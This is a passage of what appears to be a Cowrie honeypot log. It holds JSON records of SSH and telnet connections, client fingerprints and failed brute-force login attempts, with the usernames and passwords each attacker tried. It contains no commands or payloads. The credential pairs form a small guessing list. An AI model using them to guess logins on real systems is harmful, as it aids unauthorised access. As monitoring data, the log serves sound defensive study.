f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:35:47.695887Z","src_ip":"103.237.144.204","session":"2dc9a3b593ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:35:48.723816Z","src_ip":"103.237.144.204","session":"2dc9a3b593ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:35:49.976987Z","src_ip":"103.237.144.204","session":"2dc9a3b593ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.8.188","src_port":45080,"dst_ip":"159.203.135.109","dst_port":22,"session":"b59baeaca661","protocol":"ssh","message":"New connection: 101.47.8.188:45080 (159.203.135.109:22) [session: b59baeaca661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:36:03.037723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:36:03.043008Z","src_ip":"101.47.8.188","session":"b59baeaca661","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:36:03.964974Z","src_ip":"101.47.8.188","session":"b59baeaca661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cloud@1234","message":"login attempt [root/Cloud@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:36:04.973133Z","src_ip":"101.47.8.188","session":"b59baeaca661","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:36:06.217436Z","src_ip":"101.47.8.188","session":"b59baeaca661","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":74.3871054649353,"message":"Connection lost after 74 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:36:13.443817Z","src_ip":"178.128.93.180","session":"adb702c45730","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":90.46800708770752,"message":"Connection lost after 90 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:36:16.035718Z","src_ip":"178.128.93.180","session":"4b2a4c0345b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":55254,"dst_ip":"159.203.135.109","dst_port":23,"session":"21e211d645f8","protocol":"telnet","message":"New connection: 69.4.83.194:55254 (159.203.135.109:23) [session: 21e211d645f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:36:25.448205Z"}
{"eventid":"cowrie.session.closed","duration":0.4329397678375244,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:36:25.881025Z","src_ip":"69.4.83.194","session":"21e211d645f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":39534,"dst_ip":"159.203.135.109","dst_port":22,"session":"9552f1965ab2","protocol":"ssh","message":"New connection: 185.40.30.168:39534 (159.203.135.109:22) [session: 9552f1965ab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:36:31.979362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:36:31.984409Z","src_ip":"185.40.30.168","session":"9552f1965ab2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:36:32.106165Z","src_ip":"185.40.30.168","session":"9552f1965ab2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"admin","message":"login attempt [administrator/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:36:32.628042Z","src_ip":"185.40.30.168","session":"9552f1965ab2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:36:33.751861Z","src_ip":"185.40.30.168","session":"9552f1965ab2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":70.44021272659302,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:36:39.059603Z","src_ip":"178.128.93.180","session":"9361c8269d1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":48960,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7ac2068e981","protocol":"ssh","message":"New connection: 35.225.56.202:48960 (159.203.135.109:22) [session: a7ac2068e981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:36:58.783116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:36:58.787841Z","src_ip":"35.225.56.202","session":"a7ac2068e981","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:36:58.827458Z","src_ip":"35.225.56.202","session":"a7ac2068e981","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678900","message":"login attempt [root/12345678900] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:36:59.023126Z","src_ip":"35.225.56.202","session":"a7ac2068e981","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:37:00.060503Z","src_ip":"35.225.56.202","session":"a7ac2068e981","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.52.90.106","src_port":41776,"dst_ip":"159.203.135.109","dst_port":22,"session":"aaa3a02d22a4","protocol":"ssh","message":"New connection: 182.52.90.106:41776 (159.203.135.109:22) [session: aaa3a02d22a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:37:07.369417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:37:07.374936Z","src_ip":"182.52.90.106","session":"aaa3a02d22a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:37:07.636101Z","src_ip":"182.52.90.106","session":"aaa3a02d22a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yinghe","password":"yinghe","message":"login attempt [yinghe/yinghe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:37:08.710419Z","src_ip":"182.52.90.106","session":"aaa3a02d22a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:37:09.976493Z","src_ip":"182.52.90.106","session":"aaa3a02d22a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":34530,"dst_ip":"10.17.0.5","dst_port":23,"session":"6eee22f45c54","protocol":"telnet","message":"New connection: 178.128.93.180:34530 (10.17.0.5:23) [session: 6eee22f45c54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:37:21.932558Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.237.144.204","src_port":34280,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bebf91901fd","protocol":"ssh","message":"New connection: 103.237.144.204:34280 (159.203.135.109:22) [session: 7bebf91901fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:37:31.955557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:37:31.964001Z","src_ip":"103.237.144.204","session":"7bebf91901fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:37:32.211701Z","src_ip":"103.237.144.204","session":"7bebf91901fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.82.206.126","src_port":35346,"dst_ip":"10.17.0.5","dst_port":23,"session":"deb474c5fad7","protocol":"telnet","message":"New connection: 190.82.206.126:35346 (10.17.0.5:23) [session: deb474c5fad7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:37:32.365623Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test123@","message":"login attempt [root/Test123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:37:33.229487Z","src_ip":"103.237.144.204","session":"7bebf91901fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:37:34.479792Z","src_ip":"103.237.144.204","session":"7bebf91901fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":47504,"dst_ip":"10.17.0.5","dst_port":23,"session":"37b9bf2dceaf","protocol":"telnet","message":"New connection: 178.128.93.180:47504 (10.17.0.5:23) [session: 37b9bf2dceaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:37:44.555295Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":50154,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9a01aee9729","protocol":"telnet","message":"New connection: 178.128.93.180:50154 (10.17.0.5:23) [session: d9a01aee9729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:37:46.916589Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":34694,"dst_ip":"159.203.135.109","dst_port":23,"session":"626a0813c728","protocol":"telnet","message":"New connection: 69.4.83.194:34694 (159.203.135.109:23) [session: 626a0813c728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:37:51.829473Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":54138,"dst_ip":"10.17.0.5","dst_port":22,"session":"afb84acc0cc8","protocol":"ssh","message":"New connection: 103.27.238.116:54138 (10.17.0.5:22) [session: afb84acc0cc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:37:55.789653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:37:55.800061Z","src_ip":"103.27.238.116","session":"afb84acc0cc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":55560,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7689d50aee1","protocol":"ssh","message":"New connection: 103.27.238.120:55560 (10.17.0.5:22) [session: c7689d50aee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:37:55.972315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:37:55.977167Z","src_ip":"103.27.238.120","session":"c7689d50aee1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:37:56.060107Z","src_ip":"103.27.238.116","session":"afb84acc0cc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:37:56.249599Z","src_ip":"103.27.238.120","session":"c7689d50aee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"thomas1","message":"login attempt [root/thomas1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:37:56.839849Z","src_ip":"103.27.238.116","session":"afb84acc0cc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"djkrjlfd","message":"login attempt [root/djkrjlfd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:37:57.066904Z","src_ip":"103.27.238.120","session":"c7689d50aee1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:37:58.102219Z","src_ip":"103.27.238.116","session":"afb84acc0cc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:37:58.341051Z","src_ip":"103.27.238.120","session":"c7689d50aee1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.226.205","src_port":12340,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a3243c12b53","protocol":"ssh","message":"New connection: 152.32.226.205:12340 (10.17.0.5:22) [session: 0a3243c12b53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:00.411999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:00.424125Z","src_ip":"152.32.226.205","session":"0a3243c12b53","protocol":"ssh"}
